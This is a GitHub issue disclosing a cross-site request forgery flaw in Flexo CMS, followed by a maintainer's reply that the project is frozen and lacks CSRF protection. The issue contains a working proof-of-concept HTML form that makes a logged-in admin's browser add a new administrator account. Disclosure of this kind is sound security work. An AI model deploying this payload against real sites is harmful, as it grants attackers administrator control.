Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can add an administrator #25

Open
riyir opened this issue Aug 10, 2018 · 1 comment
Open

There is a CSRF vulnerability that can add an administrator #25

riyir opened this issue Aug 10, 2018 · 1 comment

Comments

@riyir
Copy link

riyir commented Aug 10, 2018

  • After administrator log in, there is a CSRF vulnerability that can add an administrator via /flexo1.source-master/admin/user
  • poc
    -csrf.html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.99/flexo1.source-master/admin/user/add" method="POST">
      <input type="hidden" name="user&#91;name&#93;" value="hacker1" />
      <input type="hidden" name="user&#91;email&#93;" value="hacker1&#64;hacker&#46;com" />
      <input type="hidden" name="user&#91;username&#93;" value="hacker1" />
      <input type="hidden" name="user&#91;password&#93;" value="hacker" />
      <input type="hidden" name="user&#91;confirm&#93;" value="hacker" />
      <input type="hidden" name="user&#95;permission&#91;administrator&#93;" value="1" />
      <input type="hidden" name="user&#91;language&#93;" value="en" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
@jmas
Copy link
Collaborator

jmas commented Aug 12, 2018

Hello, @riyir, Flexo CMS development currently is frozen. Thank you for letting us know about CSRF vulnerability. Flexo CMS do not support CSRF validation at the moment. And I do not have any estimation about when it will be added. If you have some time to write working solution for that (as part of core functionality or as plugin) - I will review and accept your PR to Flexo CMS repository. Thank you and good luck!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants